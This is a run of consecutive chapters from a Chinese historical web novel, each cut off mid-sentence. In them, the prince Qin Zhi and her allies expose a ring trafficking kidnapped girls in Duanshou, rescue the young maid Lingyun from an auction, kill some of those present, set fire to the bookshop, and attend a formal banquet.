“我呸。”那人吐了一口,低声骂道,“你他大爷的想赚钱想疯了?这次来的人里可有那个晋赭王,他什么人你不知道?” “他能是什么人?”他不甚在意地说,“你别是听说了徐生那档子破事,就以为这些个贵胄是什么好东西了?” “那你也少碰这霉头!别说我没提醒你,最近端寿有大事要发生,咱们只管做自己的事就算了,那些个人,没有上面发话,都当作没见过。” 只可惜这话说是说了,有多少听进了那人耳中,就不得而知了。 竟宝? 凌云躲在门后将这番对话一字不落地听着,越听却越觉得心慌,听这两人的意思,他们干这档子事只多不少,甚至上面有人撑腰。 大人物会参加的竟宝,到底是什么意思? 楼里指的又是什么? 凌云急的额角都冒出汗来,在这屋里走了一圈又一圈,却也没寻到什么能割开绳子的利器,她只好靠着中柱坐下,一点点摩擦着。 ---- “阁主,端寿西边一家住宅里,有一个神志不清的妇人,听附近百姓说,她动不动就会跑到城内的百戏坊看戏,然后因为突如其来的发疯被人赶出去,时间一长大家都认识这人了,百戏坊也就不让她再进门。” “而听人说,她神志失常的原因正是多年前,她的女儿在百戏坊前走失了。” “果然。”秦祉蹙眉冷笑,“这人现在在何处?” “属下带人在门外候着呢。”崔颉妙“啪”地打了个响指,木门推开,从外面踉跄走进来一个身着布衣的妇人,头发散乱,面容憔悴不堪。 “只是未必能套出什么有用的话。”崔颉妙神色复杂地蹲下身来,轻声说,“你面前这人是梌州的晋赭王,那是当今天子的皇表兄,你女儿走失的事她可以替你做主,但你要将你知道的所有的事都说出来,听懂了吗?” “女儿......我的女儿!”那妇人突然神色激动,猛地冲了上来,险些扑到秦祉身上,被崔颉妙手疾眼快地按住了,她哭喊着,“我女儿丢了,我的女儿不见了!是他们作恶多端,是他们带走了我的女儿!” “他们应该偿命,去死!去死——!” “是谁带走你的女儿的?” “是他、是他们...”她瞬间潸然泪下,眼眶通红地抬起头,一只手颤抖着抓住了崔颉妙的衣摆,“是他们干的......” 崔颉妙沉声问:“他们是谁?” “是、是...”妇人颤抖着用双手捂住脸,发出了唔咽的悲鸣,“是百戏坊!” 崔颉妙瞳孔略微收缩,她抬起头与秦祉对视一眼,只见后者俯身看去,打量着妇人的表情神态,半响缓缓开了口:“本王...” 声音一出,那妇人近乎不易察觉的抖了一下,而这一切尽数被秦祉收尽眼底。 她继续说:“知道百戏坊的背景很硬,牵扯势力甚广,可本王不得不查下去,因为我的姊妹同你女儿一样,在百戏坊前走失。” 那妇人明显表情一僵,不可置信地扫了秦祉一眼。 “她才十一岁。”秦祉深吸了一口气,撇过了脸,声音跟着颤抖着,“我也是今天才得知,这端寿背地里竟如此暗潮汹涌,只可怜这些年有多少淑女遭遇不测,若是你能帮我,本王定会一路追查、斩草除根,势必将其势力彻底铲除,挽救那些无辜的姑娘。” 秦祉起身扶着衣袍蹲下,她一只手按住了那妇人的肩膀,目光如炬地盯着她,声音很轻,却又重重落在妇人耳中,犹如雷鸣:“你也想救你的女儿吧?” “几年了,报官官府不理,求告无门、呼天不应!你不恨吗!不恨端寿的百官,不恨端寿的士族,不恨那日日夜夜在街巷欢声笑语的百戏坊吗?” 那妇人死死地用牙齿咬住了唇,才没有发出半点声音,可却有点点血迹顺着唇齿间蔓延而出。 “他们活生生地靠着这些姑娘的命,吸着你们的血,一步步去获取这更大的利益,你忍心吗?你女儿至今下落不明,是生是死都未可知,你坚持了这么久,只差最后这一次,你忍心放弃吗?” “看着我!”秦祉用力按住那妇人肩膀,“告诉我,你没有疯,对不对?” “眼下只要你说,本王答应你,承诺你一定会去救你的女儿,告诉我,这个案子你到底了解多少?” “我...”那妇人满脸泪痕,一张嘴,嗓音已经嘶哑的不成样子,“我没疯......” “可我没有办法,我的女儿是两年前,我和她在百戏坊前看戏时走丢的,不、不!”妇人摇头,“是被他们绑走的!” “百戏坊前的人太多了,那么乱、那么嘈杂,我根本不记得从什么时候开始,囡囡就和我散开了,等我想要回身去找的时候,周围全是人,他们围堵着,挡着我的视线,我根本无法抽身,每个人脸上都在笑,他们都在笑......” “你是怎么知道你女儿失踪和百戏坊有关系的?” 妇人蓦然抬起头:“因 36. 竟宝 《白首相知犹按剑》全本免费阅读 “陆公子...可是要吃点东西,还是听个曲?”明薇怀抱一面琵琶,强行挂着一抹笑意,但目光却有些唯唯诺诺。 陆公子端坐于席,漫不经心地看了二人一眼:“这么紧张做什么?” 点桃浑身一僵,连忙暗中轻轻碰了下她,笑着解释说:“公子来自端寿陆氏,出身官宦人家、势倾天下,我们这等身份的女子平常哪有此等机会接触您这样的人物,自然是会有些紧张......” 陆公子冷眼睨着点桃:“你知道的倒多。” 这话不轻不重,却又仿佛点拨似的,重重落到了点桃心中,吓得她“扑通”一声跪在了地上,颤着声说:“姎只是、只是......” “行了。”陆公子神色不耐的收回了视线,“看着就心烦,都出去。” “真是的,亏我还特意选了楼里长相出众的姑娘来伺候,没想到一个比一个要笨!”春盈人还未进门,笑声便已然传了来,她婀娜着缓步走过来,那声音包含媚态,可眼神却冷的透骨,她无声无息地瞪着两人,低声道,“都滚出去领罚。” 而后又缓和了视线,朝着主位那人笑道:“陆公子,人带来了。” ---- 凌云即将觉得自己要大功告成,绳子眼看着就能挣断之时,门外突然传来了一道女人的声音:“这人可醒了?” “春盈姐,我们这在门外守着呢,没得到您的指令,也不敢轻易和这人有接触不是?” 春盈看似满意的笑了一下:“你俩倒是有觉悟,赏了。” “哎,谢谢姐!”这俩人见了钱,连腰都跟着弯的更深。 “把门打开,陆公子来了,要识货。”伴随着此话一落,“吱嘎”一声,那扇门锁响起,伴随而至的是一道光亮从门缝投射进来。 凌云猛地一惊,瞪大了双眼朝着来人看去,连带着呼吸都跟着止住了。 只见那名为“春盈”的女人走到她面前,葱葱玉指抬起她的下巴,打量片刻,反而蹙起眉来:“这就是你们说的极品?” 那俩人凑了上来,讨好地笑着:“春盈姐,怎么样?其实这人旁边有一更绝的,只是那个看着会武,我俩怕控制不住,就没敢下手。” 春盈连带着眼神都冷了下来,嗤笑一声:“怎么样?” 她抬手便给了那俩人一人一巴掌:“连个毛都没长齐的小丫头,你们俩问我怎么样?” “春盈姐?”男人偏头愣住了,半响才解释说,“近来生意不好做,能找到这样的已经不容易了,何况说不准那些大人物就有人好这一口呢?左不过再过两年也就长大了啊。” 春盈抬手一指,直接让那人闭上了嘴:“带人跟我来,今儿这事若是陆公子满意也就罢了,若是不行,你们两个人便给我重新去寻,寻不到就等着被剥一层皮吧。” 凌云见人来拽她,又是一惊,歪着身子便想躲:“等等、你们是谁!” 那男人刚想动手,就听春盈说:“不想活了是不是,陆公子要验的人你也敢动手留下印子?” 这一番躲避,顺着巧劲那绳子就突然断裂,落到了凌云脚边。 霎那间,屋内的空气仿佛凝滞住了。 凌云愕然低头,她没曾想自己竟会在此刻暴露,心道:完了,天要亡我! 不料春盈反而一笑,像是瞧见什么有趣的事:“你胆子够大,我想陆公子会喜欢你的。” 凌云就这样被直接压着送到了那所谓陆公子的眼前。 身后被人用力一堆,凌云站不稳身子扑倒在了地面,磕的膝盖很疼,凌云估摸着会留下淤青,只是这点小伤对她而言早已习惯了,也正是因此,她连眉头都没蹙一下。 只是落到自己身上的目光,让她觉得似曾相识,这种仿佛被扼住喉咙般的窒息,她似乎之前什么时候也体会过。 一道身影倏而从脑海中闪过,凌云恍然,是殿下身边的那位柏将军。 对了,是这样的。 她说过想要成为殿下那样的人来着,这种场面如果是殿下在会如何? 凌云这么想着,扶着地起了身,开口前深吸了一口气,故作镇定道:“你是谁?” 陆公子听到这话反而弯唇笑了:“端寿陆氏,可听过?” 凌云谨慎地看着他,缓缓摇头。 “这倒是有趣。”他说,“让我来猜猜,你不是端寿人。” “身上那料子不便宜,头饰也都是真珠宝,说明你最少也是出身富贵人家,可言行举止间并无半分名门女公子的气质。”他微微歪头,继续道,“不是女官,就是侍女。” 陆公子扶案起身,一瞬间,身高带来的压迫感骤然放大,那人一靠近,身上檀香笼罩全身,铺天盖地的朝着凌云压来。 “近日来端寿的贵人不少。”他垂眸,居高临下地俯视着凌云,“你是哪一位身边的人?” 他每说一句,就让在场之人心惊一分,到最后不止凌云害怕,连春盈的神色都跟着变了又变。 “陆公子,您的意思是……” “问她。”陆公子抬手捏住凌云下巴,力道算不得多大,却在那稚嫩的脸上留下两道红印,他缓声道,“说说吧,趁着我现在心情不错。” 凌云觉得自己的脑子要炸了,她这辈子没有在这么短的时间里企图考虑那么多的事。 “放、开我……”凌云双手扒着那人的手臂,企图将自己的脸拯救出来,但这只是她为自己争取的时间。 端寿陆氏。 听着就和殷州徐氏没有什么不同。 他猜到自己有可能是某位贵人家的侍女,却仍如此放肆,这意味着他不把这些人放在眼里? 不对,也可能是觉得一个侍女而已,没有人会在意? 可若是如此他还问什么? 她实话实说能将此人吓退吗?还是被对方得知干脆杀人灭口销毁证据呢? 凌云越是着急,脑子就越是乱成了一团,呼吸急促之间只听对方冷笑一声:“在想对策?” “没、没有!”凌云心下一惊,抬眼撞入那漆黑窥探的双眸,只觉得被人看了个彻底。 “公、公子…”跟着的两个男人忍不住仓皇地开了口,“这人当时身边的确还站着一位男子,穿着十分……十分华贵,长的特好看 37. 买卖 《白首相知犹按剑》全本免费阅读 “什么?”两人同时惊的险些跳了起来,“晋、晋赭王?哪个晋赭王,梌州的那个?” “怎么会是他的人?他出门都没有随行亲卫跟着吗?” “这要怎么办啊,春盈姐,若是让那亲王知道了,我们会不会死啊?” “都给我冷静点!”春盈高声喝道,旋即低眉问,“陆公子,您看该怎么办?” “是杀还是......?” 陆公子漆黑的双眼落到凌云脸上,似乎在思忖着可行性,看的凌云浑身毛孔都仿佛炸开一般,她连忙摇头说:“等等,我和那晋赭王关系不大的!” “我不过是跟了他不足两个月罢了,他不会为了我......” “春盈姐!”不等凌云说完,门外一人高呼着冲了进来,“春盈姐不好了!” 那人破门而入,见到陆公子一惊,整个人没站稳扑到了地上:“陆公子,您、您也在啊?” “什么事?说。” “是、是殿下那边来信说,说我们今日在百戏坊前抓到的那人,是晋赭王的侍女,晋赭王率校尉将军,领百人将戏坊包围了,殿下有令,这人若是没进去就放,进了就不能留,即刻杀。” 陆公子闻言轻挑了下眉,似笑非笑问:“可听清了?” 那人连忙道:“是,一字不差,都听......”说着说着,他没了动静,因为那陆公子的目光并未同自己交汇,他看向的是...! 他下意识觉得,眼前这小孩,便是那位晋赭王的侍女。 凌云听到此处反而平静了下来,这人说晋赭王带着人将百戏坊包围了,凌云甚至有一些想笑,她不过一个孤女,在此之前又谈何会被人如此重视。 乱世之中,她这般人的命最不值钱,除了殿下,或许无人会在意她的生死了。 凌云强行命自己直视那人,说:“所以呢,要杀我吗?” 陆公子端详那张故作镇定的脸,片刻后道:“你的身子若不抖的厉害,或许还有说服力。” 他抬手一指那来人:“回去告诉殿下,人我处理了,不必担忧。” ---- “瞧,来了。”解祈安用筷子叼着块糕点,示意二人朝下面看去,“跟外面黑市买卖奴隶没什么不同,只是外面好歹有个卖身契,这都是绑了良家少女,还是专挑年轻漂亮的。” “我提前问了问,没人见过殿下你的那位侍女,他们这的人一般会‘识货’,觉得好就先在这过一遍场,有人要了就卖,没人看上就带回楼里,逼良为娼,那楼在后两条街上,名为‘春山居’,青楼一个,但叫的雅,说是卖艺不卖身,私下具体的可就不清楚了。” “百戏坊、春山居、兑忧书斋这三个地儿倒也有趣。”解祈安说,“背后的主反倒不是一个,百戏坊的老板就是殿下今儿在街巷见过的那位,姓胡。” “春山居则是陆氏的产业,但明面上是陆氏的二公子陆绥掌管,长公子陆衎插没插手就不得而知了。” 秦祉问:“那这兑忧书斋呢?” 解祈安摇头说:“没查到,兑忧书斋背后的人藏得深,什么事都是叫人代为出面。” 秦祉沉默片刻,微微眯起眸:“那符碟也是陆氏给的?” 柏萧鹤手支着膝盖,闻言轻笑:“怎会?偷的。” 秦祉表情一滞,竖起拇指:“牛。” 柏萧鹤将那符碟放在秦祉手中,慢条斯理道:“只是......” 忽然,那种熟悉的感觉又来了! 秦祉想都不想,抬手便牢牢抓住了他企图撤回去的手腕。 “殿下,你有点过了。”柏萧鹤手指轻轻触了触秦祉,有些凉,“警觉太过容易心累啊。” “陆氏今日要来,对吧。”这不像是疑问,秦祉声音清淡、平静地道出此话,看向柏萧鹤的神色之中有些莫名,“你看热闹不嫌事大?” “一步到位嘛。”这人脑子转的太快,柏萧鹤心下感慨,说,“这端寿陆氏是当地豪强,其下自有私兵,此次讨阮一事,端寿王那靠不住半分的话,还需借这些士族的势。” “你连人家符碟都偷来了,陆氏还能心平气和地和本王商议讨阮一事?” 柏萧鹤颔首促狭道:“当然可以,利益至上啊,殿下,你看。” 兑忧书斋外,小厮愁的就差以头抢地了,恨不得将自己那点烦心事干脆跟着一起挂那牌匾上兑出去算了,他一边赔笑,一边止不住地道歉:“陆公子,您就别为难小的了,咱这地方您也知道,没有符碟谁来也不让进啊,咱真不是故意拦着您的,求求您了......” “符碟不在。”陆公子脸色不是很好。 小厮也满脸都皱了起来:“那劳烦您属下去取也成,咱只要见了符碟马上放人!” 陆公子皱了皱眉,这符碟今日一早他是随身带着的,眼下不翼而飞,半路掉了的可能性有几分? “呦?陆二公子,您今儿怎么来了?”这人同样堆着笑凑上前,仔细看去,正是才刚拦住秦祉二人去路的,他有些诧异的说,“这陆氏派了人来,我还以为您今儿个不会到场了呢。” 此话一出,陆公子动作瞬间止住,他缓缓垂眸:“陆氏派了人?” “是啊,前后来了三个人呢,已经领进去了,拿的陆氏的符碟......”那人说着变了脸色,“莫非不是陆氏?” 陆公子即刻道:“人现在在哪?” “在二楼雅间。”小厮刚说完,就见陆公子抬腿便进,也跟着慌慌张张地喊,“等等陆公子,不能擅......” “回来!”小厮被旁边人一把拽了回来,“疯了是不是,陆氏公子你都敢拦,他这身份没有符碟也必须放行,你脑子都让狗啃了办事这么木!” “各位公子,许久不见,今日得一相逢,实属我兑忧书斋之幸事。”竟宝台上,有一青衣男子手持便面扇,笑容可掬。 “少说废话了,这竟宝三月未开,今儿突然有了信,我们这些人可都捧场到了,你还不抓紧时间将货提上来看看?” 又一人接过话茬道:“谁说不是呢,上次那姑娘在下也甚是欣喜,结果谁知有人竟愿一掷千金,人是带回去了,没几天就传来消息说死了,让在下也跟着惋惜了不少时候呢,谁承想 38. 站队 《白首相知犹按剑》全本免费阅读 竟宝台上,凌云被压着推了出来,这种站在高处被无数视线凌迟的感觉,让她浑身不适,凌云只微微偏过头,避开了这些目光。 一轮又一轮的叫价此起彼伏,击溃着凌云的心理,她只觉得连同呼吸都开始急促起来。 “有人要她的命。”陆绥低语道,“殿下不出手,等到这场景传至那人耳中,这孩子也会死。” “这是你攒的局?”秦祉抬手掀起珠帘,面无表情的俯视这楼下大堂众人的神色。 陆绥道:“重要吗?” “当然重要了。”解祈安笑了笑,接过这话,“怎么凌云前脚失踪,后脚那妇人就出现在我们的调查范围里,百戏坊、春山居、以及这书斋,接二连三跟雨后春笋似的冒出来,这之中没有人阻拦不说,还引着我们调查,就连这符碟也拿的如此顺......” “若说没人暗中帮扶着,谁信?” “这样你们也敢跟,不怕中计?”陆绥反问。 解祈安摊手道:“中计?谁中计,你们是敢对晋赭王殿下下手,还是能打得过柏浪昭?” “我却又一事想不通,不过眼下倒也迎刃而解了。”解祈安说,“那就是你陆氏的长公子在其间扮演了什么样的角色?” “因为你并不知道我们是如何取得这符碟的。” 陆绥盯着他,并未说话。 解祈安并不在意,只是边说边绕着木案走过:“是我们偷的,从陆氏府上,两块符碟大摇大摆地扔在书房的木案上,一个看守的人都没有,像极了请君入瓮。” “这样的事若非不是故意,那你们陆氏行事未免也太大意了。”解祈安说,“陆氏长公子如何这么做?他的目的是什么?” 解祈安这话一字不差,陆绥眸光一暗,陆衎对此事究竟做了什么,他的确不知,但却凭着兄弟之间的了解,猜到了陆衎的目的。 那就是晋赭王。 从百戏坊凌云被盯上的那一刻,就并非是无意,从始至终,陆衎的目的都是为了引这晋赭王觉察出端寿的内幕而已。 这人眼生的很,陆绥确认自己在此之前并未听说过对方的名声,他蹙眉问:“你是谁?” 解祈安两眼一亮,人家不过问了一句姓名,他便干脆连声赞道:“陆二公子果然慧眼,在下乃是氾州兰干人士,解祈安,解元寿。” “没听过。” 解祈安表情一僵,险些骂人,他咬牙笑说:“......也正常,没入仕嘛。” 而后转身便唤秦祉:“殿下,你真应该把我的大名……” 声音止住了,原因无他,解祈安觉得自己在这里显得格外多余。 只见秦祉同柏萧鹤两人早就没在听他们二人的对话,两个人埋头指着楼下那群富家子弟商量着哪个能杀。 “这人估摸着不行吧?”秦祉撑着下巴,歪头打量那人。 柏萧鹤侧头看她,似笑非笑地:“殿下,这人要是不行,感情几个时辰前是放狠话呢,还是冲着我来的?” “咳。”秦祉瞪他一眼,“这能一样吗?整个端寿有点权势的人都在这了,讨阮近在眼前,这事只能出头椽儿先朽烂。” “我有一计,殿下想听吗?”柏萧鹤附耳笑着,声音酥酥麻麻地传了过去,惹得秦祉扭头看他。 柏萧鹤那双眼尾泛着淡淡红晕,十分勾人地笑看着,秦祉见状轻轻探身:“说来听听。” 半响后,秦祉忍不住笑了:“你这个有点缺德啊。” “说的什么话。”柏萧鹤云淡风轻地直起身,睨她一眼,“做不做?” 秦祉勾唇一笑,说:“蝇营狗苟之辈而已,何足畏惧?” 她回首同陆绥对视一眼:“陆二公子来的正是时候,既然陆氏意图引本王至此,想必也不介意借本王权势一用吧?” 陆绥:“什么?” 只见秦祉从袖口凌然飞出一把暗器,直愣愣地冲着台上青衣男子脖颈刺去,霎时鲜血喷涌,人连一句惊呼都未出口,就已无声无息地倒在了台上。 点点血色溅起,凌云大惊失色地后退了两步,下意识抬头,却撞入了那张熟悉的面孔。 “是殿下......” 她只觉的心脏在前所未有的剧烈跳动,一下、又一下,直至台下这群公子的惊呼逃窜,才将她从宛如震耳欲聋般的心跳声中唤醒。 “杀、杀人了!” “谁!是谁干的!” “知不知道这是谁的地盘,你们也敢在这闹事?”小厮当即冲出来大喝道,“来人,给我把他们拿下!” “柏浪昭。”秦祉轻声唤道。 下一秒,一柄玉剑破开空气,如风如影,柏萧鹤腾空从围栏上一跃而下,四面横扫,顷刻之间化解无数戾气,回首不过只剩几具残尸。 “你...你们简直疯了!”小厮吓得连退数步,一屁股栽倒在地,眼前满地横尸的景象不仅仅让他连句完整的话都说不出口,这大厅之内所有公子有一个算一个,谁又见过这等场面?眼下能扶着墙站着已是不易。 “你们到底是谁?”声音抖得好似转了十八个弯。 秦祉两只手撑在围栏上,挑眉扬声说:“各位,别紧张,在下是陆二公子的人,好歹也算是熟识,只是吧......今儿个二公子的心情很不好,你们只能算是倒霉,有一个算一个,谁都跑不掉。” 这话不仅在座的人心里大惊,陆氏本人更是如此,陆绥眉头紧锁,连带着眼神都跟着冷了几分:“殿下这么说就不怕我们陆氏不认?” “你们陆氏做的还少吗?”秦祉头也不回地说,“认不认不重要,重要的是这些人觉得你我站在了一起,楚湛也这么觉得,就够了。” 这便是陆衎的最终目的了。 秦祉想,他们在站队。 从前是人为刀俎没得选,如今势力分明,这些个士族便都开始行动了。 或许还要更早,陆氏未必只选中试探了自己,只是只有她,真的涉足进了兑忧书斋之中。 “救命,救命!”台下这些人慌不择路,纷纷要逃,可谁知兑忧书斋外忽然鱼贯而入一群侍卫,将这里包围了个彻底,横刀直指这些闲散草包。 “别、别杀我,我可以给钱,符碟我也不要了,别杀我!”那人连滚带爬地喊着,一手按进了污血之中,湿透了半面衣衫,鲜红一片,他只觉得头皮都跟着发麻。 “ 39. 太守 《白首相知犹按剑》全本免费阅读 “咳咳,你这火放的也太不是时候了,好歹等我们快出来了再点啊。”解祈安半扶着门外的货架,连连咳嗽着。 司昀也跟着用手挥了挥眼前的浓烟:“这不是怕烧不起来,倒了火油呢,火势噌一下窜那么高,谁控制得住啊,咳咳,差点没呛死我......” “殿下、殿下你们还好吗?” 二人身后,柏萧鹤将半夹半拎的凌云放到地上,后者险些站不稳,被他拉着才没摔倒在地。 柏萧鹤语气凉凉:“等你想起来我们的时候,怕都烧成灰了。” 司昀抬眼一看,嘴一张:“哈哈。” 乐了。 这真就不怪他了,柏萧鹤绕了个竟宝台,拖着凌云这个小拖油瓶速度自然就慢了几分,眼下人虽然身姿挺拔的站着呢,举止稳而不乱的,但那张原本白皙俊美的脸如今蹭了一鼻子灰。 司昀再往旁边一看,顿时笑的站不稳:“殿下,殿下哈哈哈,怎么都黑成煤炭了?” 秦祉头也不回,柏萧鹤只余光一扫就知她要做什么,果断地将手中那柄剑递过去,秦祉手一握一转,剑身掀起地上的余烬朝着司昀面上飞去,后者差点吃了一嘴的灰。 几个人闹了半天,直到这个功夫,凌云才后知后觉的怕,顷刻之间雾水弥漫眼底:“谢谢.....” “是我的问题,救你是应该的。”秦祉只抬手拍了拍她,将那位嘴里正在狂吐灰的人扯了过来,“让司昀带你先回府,洗一洗睡一觉,明日会好的。” “咳咳,殿下你可真是,咳咳……走吧,本将军带你......”司昀边咳边说着话,突然戛然而止,目光死死地盯着远处,不慎确定地狐疑打量着。 “殿下,殿下?”半响,司昀问,“你看那个人,是不是......葛太守啊?” 数十米之外,一辆马车停靠街巷,那人靠着马车而立,身形欣长,云水蓝色对襟长衫上金丝勾勒吉祥团纹,寥寥几笔,简而贵精,面如冠玉,更有仙风道骨之意。 只细细看去,其眼下一颗小痣,配上那双含笑的狐狸眼,倒是多了一份狡黠。 秦祉回首望去,灰扑扑的小脸上倏尔眸光一亮:“子赢叔?” “离了两条街就听说这里闹出了大乱子,知道你早就到了端寿,就猜你会出现在这,果不其然。”葛向北声音清淡磁性,语气之间却多了熟稔宠溺的意味,引得柏萧鹤、解祈安二人对视一眼,探究似的看去。 “当年就是个跅弛不羁、唯恐天下不乱的性子,如今成了亲王,竟也一点没变。”葛向北连余光都没给那倒在地上呻吟的人,“这火你放的吧?” “怎么会呢。”秦祉蹭了蹭鼻头上的灰,扬起下巴说,“你问他们,分明是油灯倒了,这是书斋,有点火就容易着的书斋呀。” 葛向北用一副“你当我是傻子”的表情瞥了她一眼:“随你说去。” 直至身后一声惊呼:“你们这是怎么回事?” 一队府兵开道,使得周遭百姓皆退避三舍,道路正中快步走来的人正是端寿王楚湛,他目瞪口呆的瞧着眼前混乱的场面,瞳孔震了又震,一时不知该说什么好。 他身后,贾文勰凑到秦祉身侧,低声问:“主公,这人我一直看着的,始终待在王府没有动作,别说,比柏将军好盯多了。” 柏萧鹤看他,后者反而故作无事的弯唇一笑:“只是各位出去找人,怎么个个儿跟挖煤了似的,瞧这一脸的灰。” “少说风凉话。”秦祉唇齿不动挤出一句,而后镇定的咳了声,说:“这火起的突然,好像是书斋里的油灯倒了,我们一群人险些没跑出来,看来端寿各家店铺的防火问题还需要再重新查验啊,免得日后再生事端。” 楚湛勉强的笑了笑:“这是自然,幸而晋赭王没有出什么大事,不然我都不知道该如何向世人交代了。” “也是巧了,听闻葛太守到了端寿,结果这走水的消息突然传开了,得知是太守的必经之路,我这才匆匆赶来,却不成想竟撞见晋赭王同各位从火里跑出来,倒是吓了我一跳。” 楚湛仿佛心有余悸,好不容易平息了,才伸手示意道,“既然诸位无事,便请移步王府休整,我请医师来诊治一二。” ---- 司昀大笑着跌进软塌上:“你是没看到这群人魂飞魄散的面孔,上赶着给凭证的样简直大快人心!” 贾文勰点着熏香,闻言问道:“若是有人不愿,如何处理的?” “不愿意?那就杀啊。”司昀翻起身,“别说我带着人马呢,殿下旁可是跟着柏萧鹤的,我进门前,地上可就已经横七竖八了,咱殿下那性子你还不了解,威逼利诱那一套可比谁玩的都溜。” “反正也不怕他们抵赖,总不至于真找到楚湛头上去,人家上哪承认自己干的这些事去,陆氏已经透了底,打算站队我们这边,楚湛这回就是哑巴吃黄连。”司昀伸着懒腰,“兑忧书斋没了,春山居陆氏自会处理,至于百戏坊,找个时机端了就是。” “眼下最迫在眉睫的,是盟会。” ---- “我自当知道。”秦祉发丝微微滴着水,卷着搭在肩头,“所以才放了那些人一条命,用来抵讨阮的物资。” 秦祉身后,葛向北用布帛轻轻擦拭着她的发丝,闻言无奈叹道:“这事先别管了,后面我让人收尾,至于你,跟兰干的人怎么走的那样近?” “他们没看出来你的身份吧?” 秦祉捏起一缕发丝,随口道:“应该吧,这倒也未必那么重要。” 她撑着木案起了身,走了两步才回头,居高临下地笑了笑:“说出去,又有谁敢质疑本王呢?” “你这孩子,头发擦干了再到处走,免得日后头痛。”葛向北说,“身份自然不那么重要,但也得等阮义死后,兰干敢同你联盟,就说明这荀谌有打算掺和争权,这事若是被他们抓住大做文章,也终归有些麻烦。” “知道啦。”秦祉接过布帛,嘟囔着“怎么许久未见竟比之前还要啰嗦了……” “对了,楚湛说等你到了之后要设宴,算为联盟开个好局,设宴之后便是讨阮各方如何出兵的事了,我估摸着也就这两天。” “这事 40. 礼节 《白首相知犹按剑》全本免费阅读 秦祉狐疑道:“是谁?” 柏萧鹤目光凉凉地瞥她一眼:“兑忧书斋死的那两位公子家的家主。” “哦。”秦祉神色不变,“是哪两家来着?” “范、孙。” “死的是什么人?”秦祉又问。 柏萧鹤支着脑袋看她:“你认真的?一点儿不知道你杀的什么人。” “柏浪昭。”秦祉佯装无辜地眨了下眼,“这人好像不是本王动的手呢。” 不等对方反应,她又笑说:“而且不都说了吗,蝇营狗苟之辈,死了一个两个又能如何,谁会在意这些杂碎的命?” ---- 这筵席与兰干那次截然不同,兰干属氾州,乃是边疆之地,马背上狂野潇洒惯了的人,自然礼教也与中原相差甚远,从备膳摆投、到一言一行,皆是繁文缛礼,更有礼官相伴,食官相随,言行举止尽被童子注视着,非常人习惯处之。 筵席之间开设两个酒樽,放玄、米二酒,以供神灵,食官命侍从上膳,楚湛将盘中果瓜切下防止器皿之中,含笑道:“饮食祭先,诸位,请。” 其下众人一一照做后,又有侍从供上食,以绣笼袱盖合上,双双奉拓直过头,食官将其置于木案。 以“凡进食之礼,左肴右被,食居人之左,羹居人之右。脍炙处外,疏酱处内,葱片处右,酒浆处右。以脯俗置者,左朐右末。【1】”布之。 童子端上晶莹剔透地玉碗,内置清水,外处手帕,所谓“共饭不择手”。 但除去秦祉,与两位太守及陆氏之外,其余人哪里见得了这等场面,连带着大气都不敢出一下,生怕自己稍不留神失了态,惹得众人的嘲笑。 秦祉取过手帕将水擦尽,微微颔首示意童子退下,那童子恭敬地俯首,跪行两步,起身离去。 解祈安蹙着眉将手帕放了回去,这才小声感慨:“我原以为荀谌设宴时已经够麻烦的了,不曾想这中原竟然更甚,一顿饭吃下去我怕是都要消化不良。” 柏萧鹤并未开口,只是从他那神色上看,随意惯了的人乍然被各种礼教约束,也并非适应良好。 主位上的楚湛似乎注意到了,他只抿了抿唇,笑了一下说:“听闻氾州人生性豪放不羁,善骑射,喜驰骋草原,如今二位到我端寿,不知可否适应?” “端寿王关怀。”柏萧鹤平淡道。 见他冷淡地垂眸,半分客套的话都没有,楚湛的笑容凝固在脸上,解祈安见状自然地接过了话说:“承蒙端寿王关照,我们一切尚好,况且此次是跟随晋赭王前来,自然也不需要我们考虑操劳什么。” 楚湛这话问的妙,看似关怀,那双剔透漂亮的眼下,也不知是否话里话外暗藏着他们兰干不懂礼节之举。 解祈安四两拨千斤,轻轻松松的将话引到了秦祉身上,让这两人虚与委蛇去,免得惹火上身。 秦祉闻言抬眼一瞧,恰好与楚湛对视,二人对彼此心思了如指掌,相视一笑便罢,只是这笑怕是半分真情也不曾有。 “今日诸位仁兄齐聚一堂,目的仅有一个,那就是讨阮!”楚湛目光环视一圈,说,“如今人尽数到齐,本王在此也先留个话......” “尽数到齐?”席间有人冷笑一声,他鼻如悬胆、苍髯如戟,斜眼打量着,目光之中满是倨傲,“我范家小公子昨日命丧兑忧书斋,连带着尸身都被烧毁,这案子没有继续查下去不说,满座竟无一人关怀,岂可不谓是麻木不仁,又包藏祸心?” “这人是范家家主范无畏。” “人如其名。”秦祉只看了一眼就收回视线,心道:无知无畏啊。 这筵席与其说是接风宴,不如称之为践行做准备,燕会之后便是商议出兵之事,环环相扣,各家近乎用尽心思,要分一杯羹的同时又不想着出力,此刻谁站出来说话谁就是众矢之的,这范无畏也不知是否当真不懂,偏生那孙氏却不吱声...... 秦祉目光落到了楚湛脸上,端详着这位的演技。 后者闻言一愣,微微蹙眉:“这事本王早已听闻,昨日还带人前去兑忧书斋前探查了一番,只是书斋内并非有什么不对,只是油灯不甚跌落点着了书籍。” 楚湛说着,泛起点点泪意,轻叹一声:“本王深知你们范、孙两家的小公子不幸丧命,你们心中悲痛也是难免,只是这事真的就是如此,不信你们问晋赭王殿下,他昨日可是同在座各位一起从书斋里逃出来的。” “若真是人为,晋赭王为人正直,又怎会坐视不理,不查下去呢?” “若不是人为,那火势为何如此迅猛?多大一会儿功夫,就能将整个书斋烧的不成样子!”范无畏气的猛然狠拍了下木案,木案上的食盘跟着剧烈一震,当即楚湛的脸色就凝滞了一瞬,他那颗梨涡已经有点挂不住了,声音也跟着冷了几分: “范家主的意思,是怪本王处理不当?” 范无畏这才意识到自己刚刚干了什么,连忙说:“当然不是,我只是觉得殿下或许受奸人蒙蔽!” “你所谓的奸人是谁,可有证据?”楚湛又问。 这话说出口的时候,秦祉只觉得手腕一凉,耳边一道温热的呼吸传来,伴随低沉悦耳的声线:“殿下。” 秦祉下意识躲了半分,偏头望去:“你也如此觉得?” 她腕上的,赫然是柏萧鹤左手佩戴的一串流光溢彩的玛瑙串饰。 “那场火后,楚湛损失不算少数,他不可能坐得住。”柏萧鹤漠然地看着木案上的膳食,道,“与其在意他们二人上演的戏,殿下你不如先帮帮我。” 秦祉莫名:“帮你?” “那食官盯我半天了,我怕是动口酒,他都能当场劝言三百句。”柏萧鹤抬眼,敛颚一笑,声音缱绻,“殿下,你当然得帮帮我了。” 